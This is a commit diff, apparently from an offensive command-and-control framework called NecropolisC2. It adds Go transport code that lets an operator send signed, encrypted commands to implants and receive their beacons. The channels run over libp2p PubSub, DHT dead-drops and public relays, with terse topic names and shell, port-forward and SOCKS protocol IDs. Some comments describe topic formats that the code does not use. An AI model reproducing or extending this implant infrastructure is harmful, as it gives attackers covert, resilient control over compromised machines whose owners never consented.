update readme

pkg/transport/messenger.go

@@ -0,0 +1,351 @@
+// Messenger handles PubSub envelope signing, verification, encryption, replay detection,
+// and topic-based message delivery. Used by both the operator and the implant.
+package transport
+
+import (
+	"context"
+	cryptorand "crypto/rand"
+	"encoding/binary"
+	"fmt"
+	"log"
+	"runtime/debug"
+	"sync"
+	"time"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/libp2p/go-libp2p/core/crypto"
+	"github.com/libp2p/go-libp2p/core/peer"
+
+	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
+	"github.com/Yenn503/NecropolisC2/pkg/cryptography"
+)
+
+var ErrSignatureInvalid = fmt.Errorf("signature invalid")
+
+// MessageHandler is the callback invoked for each verified incoming envelope.
+type MessageHandler func(ctx context.Context, envelope *apb.Envelope, senderPub crypto.PubKey)
+
+// Messenger holds the node reference, cryptographic keys, operator identity, known
+// implant keys (for the operator side), and a replay-detection ring buffer.
+type Messenger struct {
+	node          *Node
+	handler       MessageHandler
+	privKey       crypto.PrivKey
+	operatorID    peer.ID
+	trustedPubKey crypto.PubKey
+	boxPubKey     *[32]byte
+	authToken     []byte
+	knownImplants map[string]crypto.PubKey
+	mu            sync.RWMutex
+	seenIDs       map[int64]time.Time
+	seenMu        sync.Mutex
+}
+
+const replayWindow = 5 * time.Minute
+
+// IsReplay returns true if the given envelope ID has been seen within the replay window.
+func (m *Messenger) IsReplay(id int64) bool {
+	m.seenMu.Lock()
+	defer m.seenMu.Unlock()
+
+	if m.seenIDs == nil {
+		m.seenIDs = make(map[int64]time.Time)
+	}
+
+	if _, dup := m.seenIDs[id]; dup {
+		return true
+	}
+
+	m.seenIDs[id] = time.Now()
+
+	if len(m.seenIDs) > 10000 {
+		cutoff := time.Now().Add(-replayWindow)
+		for k, v := range m.seenIDs {
+			if v.Before(cutoff) {
+				delete(m.seenIDs, k)
+			}
+		}
+	}
+
+	return false
+}
+
+// NewOperatorMessenger creates a messenger for the operator side with the operator's
+// signing key and node identity.
+func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.OperatorKey) *Messenger {
+	return &Messenger{
+		node:          node,
+		privKey:       keys.PrivateKey,
+		operatorID:    node.ID(),
+		knownImplants: make(map[string]crypto.PubKey),
+	}
+}
+
+// NewImplantMessenger creates a messenger for the implant side with the trusted
+// operator public key and optional box encryption key.
+func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
+	opID, err := peer.IDFromPublicKey(operatorPub)
+	if err != nil {
+		opID = peer.ID("")
+	}
+	return &Messenger{
+		node:          node,
+		privKey:       keys.PrivateKey,
+		operatorID:    opID,
+		trustedPubKey: operatorPub,
+		boxPubKey:     boxPubKey,
+		knownImplants: make(map[string]crypto.PubKey),
+	}
+}
+
+// SetHandler registers the callback for delivered envelopes.
+func (m *Messenger) SetHandler(handler MessageHandler) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.handler = handler
+}
+
+// AddKnownImplant stores a verified implant public key by peer ID.
+func (m *Messenger) AddKnownImplant(peerID string, pub crypto.PubKey) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.knownImplants[peerID] = pub
+}
+
+// KnownImplant returns the stored public key for the given implant peer ID.
+func (m *Messenger) KnownImplant(peerID string) crypto.PubKey {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return m.knownImplants[peerID]
+}
+
+// CommandTopic returns the topic where operators publish commands.
+// Format: /necropolis/<operator-peerid>/commands
+func (m *Messenger) CommandTopic() string {
+	return CommandTopicPrefix + m.operatorID.String() + CommandsSuffix
+}
+
+// BeaconTopic returns the topic where implants publish beacons.
+// Format: /necropolis/<operator-peerid>/beacons
+func (m *Messenger) BeaconTopic() string {
+	return BeaconTopicPrefix + m.operatorID.String() + BeaconsSuffix
+}
+
+// TaskTopic returns a per-implant topic for targeted commands.
+// Format: /necropolis/<operator-peerid>/tasks/<implant-peerid>
+func (m *Messenger) TaskTopic(implantPeerID string) string {
+	return BeaconTopicPrefix + m.operatorID.String() + TasksSuffix + implantPeerID
+}
+
+// EnvelopeSigningBytes returns a deterministic protobuf serialization of all envelope
+// fields except Signature for signing (avoiding circularity).
+func EnvelopeSigningBytes(env *apb.Envelope) ([]byte, error) {
+	signingEnv := &apb.Envelope{
+		ID:        env.ID,
+		Type:      env.Type,
+		Data:      env.Data,
+		Token:     env.Token,
+		SenderKey: env.SenderKey,
+	}
+	return (proto.MarshalOptions{Deterministic: true}).Marshal(signingEnv)
+}
+
+// VerifyEnvelope checks that the envelope signature is valid against the trusted key.
+func VerifyEnvelope(env *apb.Envelope, trustedPub crypto.PubKey) error {
+	if trustedPub == nil {
+		return fmt.Errorf("no trusted public key configured")
+	}
+	if len(env.Signature) == 0 {
+		return fmt.Errorf("%w: missing signature", ErrSignatureInvalid)
+	}
+	signingData, err := EnvelopeSigningBytes(env)
+	if err != nil {
+		return fmt.Errorf("marshal signing data: %w", err)
+	}
+	ok, err := cryptography.Verify(trustedPub, signingData, env.Signature)
+	if err != nil {
+		return fmt.Errorf("verify: %w", err)
+	}
+	if !ok {
+		return ErrSignatureInvalid
+	}
+	return nil
+}
+
+// PubKeyFromEnvelope deserializes the sender's public key from the envelope.
+func PubKeyFromEnvelope(env *apb.Envelope) (crypto.PubKey, error) {
+	if len(env.SenderKey) == 0 {
+		return nil, fmt.Errorf("no sender key in envelope")
+	}
+	return cryptography.PubKeyFromBytes(env.SenderKey)
+}
+
+// listenVerified subscribes to a PubSub topic, verifies each envelope, and delivers
+// validated messages to the handler.
+func (m *Messenger) listenVerified(ctx context.Context, topic string, getTrusted func() crypto.PubKey) error {
+	sub, err := m.node.Subscribe(topic)
+	if err != nil {
+		return fmt.Errorf("subscribe %s: %w", topic, err)
+	}
+	// Relay this topic so messages are cached and forwarded to late-joining peers
+	if t, err := m.node.JoinTopic(topic); err == nil {
+		t.Relay()
+	}
+	go func() {
+		defer sub.Cancel()
+		defer func() {
+			if r := recover(); r != nil {
+				log.Printf("[messenger] panic in listenVerified: %v\n%s", r, debug.Stack())
+			}
+		}()
+		for {
+			msg, err := sub.Next(ctx)
+			if err != nil {
+				return
+			}
+			env := &apb.Envelope{}
+			if err := proto.Unmarshal(msg.Data, env); err != nil {
+				continue
+			}
+
+			trusted := getTrusted()
+			if trusted == nil {
+				trusted, err = PubKeyFromEnvelope(env)
+				if err != nil {
+					continue
+				}
+				senderID, idErr := peer.IDFromPublicKey(trusted)
+				if idErr == nil {
+					if stored := m.KnownImplant(senderID.String()); stored != nil {
+						trusted = stored
+					}
+				}
+			}
+
+			if err := VerifyEnvelope(env, trusted); err != nil {
+				continue
+			}
+			go m.deliver(ctx, env)
+		}
+	}()
+	return nil
+}
+
+// ListenBeacons starts listening for implant beacon messages on the beacon topic.
+func (m *Messenger) ListenBeacons(ctx context.Context) error {
+	return m.listenVerified(ctx, m.BeaconTopic(), func() crypto.PubKey {
+		return nil
+	})
+}
+
+// ListenCommands starts listening for operator commands on the command topic.
+func (m *Messenger) ListenCommands(ctx context.Context) error {
+	return m.listenVerified(ctx, m.CommandTopic(), func() crypto.PubKey {
+		m.mu.RLock()
+		defer m.mu.RUnlock()
+		return m.trustedPubKey
+	})
+}
+
+// ListenTask starts listening for per-implant targeted commands on the task topic.
+func (m *Messenger) ListenTask(ctx context.Context, implantPeerID string) error {
+	return m.listenVerified(ctx, m.TaskTopic(implantPeerID), func() crypto.PubKey {
+		m.mu.RLock()
+		defer m.mu.RUnlock()
+		return m.trustedPubKey
+	})
+}
+
+// deliver extracts the sender's public key from the envelope and invokes the registered
+// handler in a new goroutine (called from listenVerified).
+func (m *Messenger) deliver(ctx context.Context, env *apb.Envelope) {
+	defer func() {
+		if r := recover(); r != nil {
+			log.Printf("[messenger] panic in deliver: %v\n%s", r, debug.Stack())
+		}
+	}()
+	m.mu.RLock()
+	handler := m.handler
+	m.mu.RUnlock()
+	if handler == nil {
+		return
+	}
+	var pubKey crypto.PubKey
+	if len(env.SenderKey) > 0 {
+		pubKey, _ = PubKeyFromEnvelope(env)
+	}
+	handler(ctx, env, pubKey)
+}
+
+// SendEnvelope marshals and publishes an envelope to the given PubSub topic.
+func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *apb.Envelope) error {
+	data, err := proto.Marshal(env)
+	if err != nil {
+		return fmt.Errorf("marshal envelope: %w", err)
+	}
+	return m.node.Publish(ctx, topic, data)
+}
+
+// SignAndSend encrypts the data (if box keys exist), signs the envelope with the private
+// key, attaches the sender's public key, and publishes to the given topic.
+func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Envelope) error {
+	if m.privKey == nil {
+		return fmt.Errorf("no private key for signing")
+	}
+
+	if m.boxPubKey != nil && len(env.Data) > 0 {
+		encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
+		if err != nil {
+			return fmt.Errorf("encrypt: %w", err)
+		}
+		env.Data = encrypted
+	}
+
+	pubBytes, err := crypto.MarshalPublicKey(m.privKey.GetPublic())
+	if err == nil {
+		env.SenderKey = pubBytes
+	}
+
+	signingData, err := EnvelopeSigningBytes(env)
+	if err != nil {
+		return fmt.Errorf("marshal signing data: %w", err)
+	}
+	sig, err := m.privKey.Sign(signingData)
+	if err != nil {
+		return fmt.Errorf("sign: %w", err)
+	}
+	env.Signature = sig
+	return m.SendEnvelope(ctx, topic, env)
+}
+
+// CreateEnvelope builds a new envelope with a random ID, the given type, data payload,
+// and the current auth token.
+func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *apb.Envelope {
+	var b [8]byte
+	cryptorand.Read(b[:])
+	return &apb.Envelope{
+		ID:    int64(binary.LittleEndian.Uint64(b[:])),
+		Type:  msgType,
+		Data:  data,
+		Token: m.authToken,
+	}
+}
+
+// RendezvousString returns the DHT rendezvous namespace scoped to the operator.
+func (m *Messenger) RendezvousString() string {
+	return "necropolis/" + m.operatorID.String()
+}
+
+// OperatorID returns the operator's peer ID.
+func (m *Messenger) OperatorID() peer.ID {
+	return m.operatorID
+}
+
+// SetAuthToken sets the authentication token added to outgoing envelopes.
+func (m *Messenger) SetAuthToken(token []byte) { m.authToken = token }
+
+// SetOperatorID overrides the operator's peer ID.
+func (m *Messenger) SetOperatorID(id peer.ID) {
+	m.operatorID = id
+}

pkg/transport/messenger_test.go

@@ -0,0 +1,196 @@
+package transport
+
+import (
+	"bytes"
+	"context"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/libp2p/go-libp2p"
+
+	"github.com/Yenn503/NecropolisC2/pkg/cryptography"
+)
+
+// minimalHost creates a bare libp2p host for unit tests. No DHT, no relay.
+func minimalHost(t *testing.T) (*Node, context.Context, context.CancelFunc) {
+	t.Helper()
+	ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+	h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/127.0.0.1/tcp/0"))
+	if err != nil {
+		t.Fatalf("create host: %v", err)
+	}
+	t.Cleanup(func() { h.Close(); cancel() })
+	return &Node{Host: h, ctx: ctx, cancel: func() {}}, ctx, cancel
+}
+
+func TestCreateEnvelopeStoresToken(t *testing.T) {
+	op, err := cryptography.GenerateOperatorKey()
+	if err != nil {
+		t.Fatalf("generate operator key: %v", err)
+	}
+	n, ctx, _ := minimalHost(t)
+	_ = ctx
+	m := NewOperatorMessenger(ctx, n, op)
+	m.SetAuthToken(op.AuthToken)
+	env := m.CreateEnvelope(MsgTypePs, []byte("test"))
+
+	if len(env.Token) != 32 {
+		t.Fatalf("token missing from envelope: got %d bytes, want 32", len(env.Token))
+	}
+	if !bytes.Equal(env.Token, op.AuthToken) {
+		t.Fatal("envelope token != operator auth token")
+	}
+	if env.ID == 0 {
+		t.Fatal("envelope ID is zero — random generation failed")
+	}
+}
+
+func TestReplayProtection(t *testing.T) {
+	op, err := cryptography.GenerateOperatorKey()
+	if err != nil {
+		t.Fatalf("generate operator key: %v", err)
+	}
+	n, ctx, _ := minimalHost(t)
+	m := NewOperatorMessenger(ctx, n, op)
+
+	env1 := m.CreateEnvelope(MsgTypePs, []byte("test"))
+	env2 := m.CreateEnvelope(MsgTypePs, []byte("test"))
+	env2.ID = env1.ID // force same ID
+
+	if m.IsReplay(env1.ID) {
+		t.Fatal("first envelope flagged as replay")
+	}
+	if !m.IsReplay(env1.ID) {
+		t.Fatal("same ID not detected as replay on second check")
+	}
+	if !m.IsReplay(env2.ID) {
+		t.Fatal("replay envelope with same ID not detected")
+	}
+}
+
+func TestAuthTokenRejection(t *testing.T) {
+	op, err := cryptography.GenerateOperatorKey()
+	if err != nil {
+		t.Fatalf("generate operator key: %v", err)
+	}
+	n, ctx, _ := minimalHost(t)
+	m := NewOperatorMessenger(ctx, n, op)
+	m.SetAuthToken(op.AuthToken)
+
+	env := m.CreateEnvelope(MsgTypePs, []byte("test"))
+	if len(env.Token) != 32 {
+		t.Fatalf("token not set: got %d bytes", len(env.Token))
+	}
+
+	// Simulate implant-side check: wrong token should be rejected
+	wrongToken := make([]byte, 32)
+	for i := range wrongToken {
+		wrongToken[i] = 0xFF
+	}
+	if bytes.Equal(env.Token, wrongToken) {
+		t.Fatal("tampered token accidentally matches")
+	}
+	if bytes.Equal(env.Token, op.AuthToken) {
+		// expected — token is correct. Now verify wrong token fails
+		env.Token = wrongToken
+		if bytes.Equal(env.Token, op.AuthToken) {
+			t.Fatal("failed to set wrong token")
+		}
+	}
+}
+
+func TestEnvelopeSignAndVerify(t *testing.T) {
+	op, err := cryptography.GenerateOperatorKey()
+	if err != nil {
+		t.Fatalf("generate operator key: %v", err)
+	}
+	n, ctx, _ := minimalHost(t)
+	m := NewOperatorMessenger(ctx, n, op)
+
+	data := []byte("necropolis command data")
+	env := m.CreateEnvelope(MsgTypeExecute, data)
+
+	signingData, err := EnvelopeSigningBytes(env)
+	if err != nil {
+		t.Fatalf("signing bytes: %v", err)
+	}
+	sig, err := op.PrivateKey.Sign(signingData)
+	if err != nil {
+		t.Fatalf("sign: %v", err)
+	}
+	env.Signature = sig
+
+	ok, err := cryptography.Verify(op.PublicKey, signingData, sig)
+	if err != nil {
+		t.Fatalf("verify: %v", err)
+	}
+	if !ok {
+		t.Fatal("signature verification failed")
+	}
+
+	// Tamper with data, re-signing bytes change, verify should fail
+	data[0] ^= 0xFF
+	env.Data = data
+	signingData2, _ := EnvelopeSigningBytes(env)
+	ok2, _ := cryptography.Verify(op.PublicKey, signingData2, sig)
+	if ok2 {
+		t.Fatal("tampered data passed signature verification")
+	}
+}
+
+func TestTopicFormats(t *testing.T) {
+	op, err := cryptography.GenerateOperatorKey()
+	if err != nil {
+		t.Fatalf("generate operator key: %v", err)
+	}
+	n, ctx, _ := minimalHost(t)
+	m := NewOperatorMessenger(ctx, n, op)
+	m.SetOperatorID(op.PeerID)
+	opID := op.PeerID.String()
+
+	if m.BeaconTopic() != "/b/"+opID+"/bx" {
+		t.Fatalf("beacon topic: got %s", m.BeaconTopic())
+	}
+	if m.CommandTopic() != "/c/"+opID+"/cx" {
+		t.Fatalf("command topic: got %s", m.CommandTopic())
+	}
+	taskTopic := m.TaskTopic("test-implant-id")
+	if !strings.HasPrefix(taskTopic, "/b/") || !strings.HasSuffix(taskTopic, "/tx/test-implant-id") {
+		t.Fatalf("task topic: got %s", taskTopic)
+	}
+}
+
+func TestBoxEncryptDecryptViaEnvelope(t *testing.T) {
+	op, err := cryptography.GenerateOperatorKey()
+	if err != nil {
+		t.Fatalf("generate operator key: %v", err)
+	}
+	n, ctx, _ := minimalHost(t)
+	m := NewOperatorMessenger(ctx, n, op)
+
+	plain := []byte("secret implant command")
+	env := m.CreateEnvelope(MsgTypeExecute, plain)
+
+	// Encrypt the data field
+	if op.BoxKeys == nil {
+		t.Skip("no box keys")
+	}
+	encrypted, err := cryptography.EncryptMessage(env.Data, op.BoxKeys.PublicKey)
+	if err != nil {
+		t.Fatalf("encrypt: %v", err)
+	}
+	if bytes.Equal(encrypted, plain) {
+		t.Fatal("encrypted data equals plaintext")
+	}
+	env.Data = encrypted
+
+	// Decrypt
+	decrypted, err := cryptography.DecryptMessage(env.Data, op.BoxKeys)
+	if err != nil {
+		t.Fatalf("decrypt: %v", err)
+	}
+	if !bytes.Equal(decrypted, plain) {
+		t.Fatalf("decrypted != plain: got %q, want %q", decrypted, plain)
+	}
+}

pkg/transport/node.go

@@ -0,0 +1,511 @@
+// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
+// discovery. Used by both the operator and the implant.
+package transport
+
+import (
+	"context"
+	"fmt"
+	"log"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/libp2p/go-libp2p"
+	dht "github.com/libp2p/go-libp2p-kad-dht"
+	pubsub "github.com/libp2p/go-libp2p-pubsub"
+	"github.com/libp2p/go-libp2p/core/crypto"
+	"github.com/libp2p/go-libp2p/core/host"
+	"github.com/libp2p/go-libp2p/core/network"
+	"github.com/libp2p/go-libp2p/core/peer"
+	"github.com/libp2p/go-libp2p/core/protocol"
+	"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
+	routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
+	"github.com/libp2p/go-libp2p/p2p/host/autorelay"
+	"github.com/multiformats/go-multiaddr"
+)
+
+// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
+const (
+	NecropolisProtocolID  protocol.ID = "/x/1.0.0"
+	ShellProtocolID    protocol.ID = "/x/sh/1.0.0"
+	PortfwdProtocolID  protocol.ID = "/x/pf/1.0.0"
+	SocksProtocolID    protocol.ID = "/x/sk/1.0.0"
+	BeaconProtocolID   protocol.ID = "/bc/1.0.0"
+	CmdProtocolID      protocol.ID = "/bc/1.0.0/cmd"
+	CommandTopicPrefix  string     = "/c/"
+	BeaconTopicPrefix   string     = "/b/"
+	TaskTopicPrefix     string     = "/t/"
+	CommandsSuffix      string     = "/cx"
+	BeaconsSuffix       string     = "/bx"
+	TasksSuffix         string     = "/tx/"
+)
+
+// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
+func DefaultBootstrapAddrs() []peer.AddrInfo {
+	var out []peer.AddrInfo
+	for _, s := range defaultBootstrapPeers {
+		m, err := multiaddr.NewMultiaddr(s)
+		if err != nil {
+			continue
+		}
+		pi, err := peer.AddrInfoFromP2pAddr(m)
+		if err != nil {
+			continue
+		}
+		out = append(out, *pi)
+	}
+	return out
+}
+
+var defaultBootstrapPeers = []string{
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
+	"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
+}
+
+// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
+// relay settings, DHT, mDNS, and the libp2p identity key.
+type NodeConfig struct {
+	ListenAddr         string
+	BootstrapPeers     []peer.AddrInfo
+	EnableRelay        bool
+	EnableRelayService bool
+	EnableMDNS         bool
+	EnableDHT          bool
+	RelayAddrs         []string
+	PrivateKey         crypto.PrivKey
+}
+
+// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
+// cached topics/subscriptions.
+type Node struct {
+	Host    host.Host
+	PubSub  *pubsub.PubSub
+	DHT     *dht.IpfsDHT
+	disc    *routingdiscovery.RoutingDiscovery
+	config  NodeConfig
+	topics  map[string]*pubsub.Topic
+	subs    map[string]*pubsub.Subscription
+	mu      sync.RWMutex
+	ctx     context.Context
+	cancel  context.CancelFunc
+}
+
+// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
+// and configures auto-relay if relay addresses are provided.
+func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
+	ctx, cancel := context.WithCancel(ctx)
+
+	baseOpts := []libp2p.Option{
+		libp2p.ListenAddrStrings(cfg.ListenAddr),
+	}
+
+	if cfg.PrivateKey != nil {
+		baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
+	}
+
+	if cfg.EnableRelay {
+		baseOpts = append(baseOpts, libp2p.EnableRelay())
+	}
+	if cfg.EnableRelayService {
+		baseOpts = append(baseOpts, libp2p.EnableRelayService())
+	}
+
+	var h host.Host
+	var err error
+
+	if len(cfg.RelayAddrs) > 0 {
+		if cfg.EnableDHT {
+			baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
+				autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
+					return findRelayCandidates(ctx, num, h)
+				}),
+			))
+		} else {
+			var relays []peer.AddrInfo
+			for _, s := range cfg.RelayAddrs {
+				m, err := multiaddr.NewMultiaddr(s)
+				if err != nil {
+					cancel()
+					return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
+				}
+				pi, err := peer.AddrInfoFromP2pAddr(m)
+				if err != nil {
+					cancel()
+					return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
+				}
+				relays = append(relays, *pi)
+			}
+			baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
+		}
+	} else if cfg.EnableDHT {
+		baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
+			autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
+				return findRelayCandidates(ctx, num, h)
+			}),
+		))
+	}
+
+	baseOpts = append(baseOpts, opts...)
+
+	h, err = libp2p.New(baseOpts...)
+	if err != nil {
+		cancel()
+		return nil, fmt.Errorf("create libp2p host: %w", err)
+	}
+
+	if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
+		go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
+	}
+
+	params := pubsub.DefaultGossipSubParams()
+	params.D = 6
+	params.Dlo = 4
+	params.Dhi = 12
+	params.HistoryLength = 10
+	params.HistoryGossip = 5
+	params.HeartbeatInterval = 1 * time.Second
+
+	ps, err := pubsub.NewGossipSub(ctx, h,
+		pubsub.WithPeerExchange(true),
+		pubsub.WithFloodPublish(true),
+		pubsub.WithGossipSubParams(params),
+	)
+	if err != nil {
+		cancel()
+		return nil, fmt.Errorf("create pubsub: %w", err)
+	}
+
+	n := &Node{
+		Host:   h,
+		PubSub: ps,
+		config: cfg,
+		topics: make(map[string]*pubsub.Topic),
+		subs:   make(map[string]*pubsub.Subscription),
+		ctx:    ctx,
+		cancel: cancel,
+	}
+
+	if cfg.EnableDHT {
+		d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
+			dht.ProtocolPrefix("/necropolis"),
+			dht.NamespacedValidator("necropolis", passThroughValidator{}),
+		)
+		if err != nil {
+			cancel()
+			return nil, fmt.Errorf("create dht: %w", err)
+		}
+		n.DHT = d
+		n.disc = routingdiscovery.NewRoutingDiscovery(d)
+	}
+
+	return n, nil
+}
+
+// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
+// starts mDNS if enabled.
+func (n *Node) StartDiscovery() error {
+	go func() {
+		defer func() {
+			recover()
+		}()
+		for _, pi := range n.config.BootstrapPeers {
+			connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
+			if err := n.Host.Connect(connectCtx, pi); err != nil {
+				cancel()
+				continue
+			}
+			cancel()
+		}
+	}()
+
+	if n.DHT != nil {
+		go func() {
+			defer func() {
+				recover()
+			}()
+			n.DHT.Bootstrap(n.ctx)
+		}()
+	}
+
+	if n.config.EnableMDNS {
+		svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
+		if err := svc.Start(); err != nil {
+			return fmt.Errorf("start mdns: %w", err)
+		}
+	}
+
+	return nil
+}
+
+type mdnsNotifee struct {
+	h host.Host
+}
+
+// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
+func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
+	if pi.ID == m.h.ID() {
+		return
+	}
+	for _, addr := range pi.Addrs {
+		m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
+	}
+}
+
+// Advertise registers this node under a DHT rendezvous namespace.
+func (n *Node) Advertise(ctx context.Context, ns string) error {
+	if n.disc == nil {
+		return fmt.Errorf("DHT not enabled")
+	}
+	_, err := n.disc.Advertise(ctx, ns)
+	return err
+}
+
+// FindPeers performs a DHT-based peer discovery for the given namespace.
+func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
+	if n.disc == nil {
+		return nil, fmt.Errorf("DHT not enabled")
+	}
+	return n.disc.FindPeers(ctx, ns)
+}
+
+// JoinTopic joins a PubSub topic, caching the handle for reuse.
+func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
+	n.mu.Lock()
+	defer n.mu.Unlock()
+
+	if t, ok := n.topics[topic]; ok {
+		return t, nil
+	}
+
+	t, err := n.PubSub.Join(topic)
+	if err != nil {
+		return nil, fmt.Errorf("join topic %s: %w", topic, err)
+	}
+	n.topics[topic] = t
+	return t, nil
+}
+
+// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
+func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
+	n.mu.Lock()
+	defer n.mu.Unlock()
+
+	if s, ok := n.subs[topic]; ok {
+		return s, nil
+	}
+
+	t, ok := n.topics[topic]
+	if !ok {
+		var err error
+		t, err = n.PubSub.Join(topic)
+		if err != nil {
+			return nil, fmt.Errorf("join topic %s: %w", topic, err)
+		}
+		n.topics[topic] = t
+	}
+
+	sub, err := t.Subscribe()
+	if err != nil {
+		return nil, fmt.Errorf("subscribe %s: %w", topic, err)
+	}
+	n.subs[topic] = sub
+	return sub, nil
+}
+
+// Publish sends data to a PubSub topic.
+func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
+	t, err := n.JoinTopic(topic)
+	if err != nil {
+		return err
+	}
+	return t.Publish(ctx, data)
+}
+
+// ConnectToPeer establishes a libp2p connection to the given peer.
+func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
+	return n.Host.Connect(ctx, pi)
+}
+
+// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
+func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
+	n.Host.SetStreamHandler(pid, handler)
+}
+
+// NewStream opens a libp2p stream to the given peer on the given protocol.
+func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
+	return n.Host.NewStream(ctx, p, pid)
+}
+
+// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
+func (n *Node) WaitForDHT(ctx context.Context) bool {
+	for i := 0; i < 30; i++ {
+		if n.DHT.RoutingTable().Size() >= 5 {
+			return true
+		}
+		select {
+		case <-ctx.Done():
+			return false
+		case <-time.After(2 * time.Second):
+		}
+	}
+	return false
+}
+
+// Close cancels the node context, shuts down the DHT, and closes the host.
+func (n *Node) Close() error {
+	n.cancel()
+	if n.DHT != nil {
+		n.DHT.Close()
+	}
+	return n.Host.Close()
+}
+
+// Addrs returns the host's multiaddresses.
+func (n *Node) Addrs() []multiaddr.Multiaddr {
+	return n.Host.Addrs()
+}
+
+// ID returns the host's libp2p peer ID.
+func (n *Node) ID() peer.ID {
+	return n.Host.ID()
+}
+
+// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
+func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
+	if n.DHT == nil {
+		return fmt.Errorf("DHT not enabled")
+	}
+	return n.DHT.PutValue(ctx, key, value)
+}
+
+// GetDHTValue retrieves the best value for key from the DHT.
+func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
+	if n.DHT == nil {
+		return nil, fmt.Errorf("DHT not enabled")
+	}
+	val, err := n.DHT.GetValue(ctx, key)
+	if err != nil {
+		return nil, err
+	}
+	return val, nil
+}
+
+// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
+// where we just need storage with no validation.
+type passThroughValidator struct{}
+
+func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
+func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
+
+// CommandDHTKey returns the DHT key for operator command dead-drops.
+// Registered under the /necropolis/ namespace via NamespacedValidator.
+func CommandDHTKey(operatorID peer.ID, nonce int64) string {
+	return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
+}
+
+// RelayRendezvousString returns the DHT namespace for relay peer discovery.
+func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
+	return "necropolis/relay/" + operatorID.String()
+}
+
+// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
+func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
+	if n.disc == nil {
+		return fmt.Errorf("DHT not enabled")
+	}
+	_, err := n.disc.Advertise(ctx, ns)
+	return err
+}
+
+// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
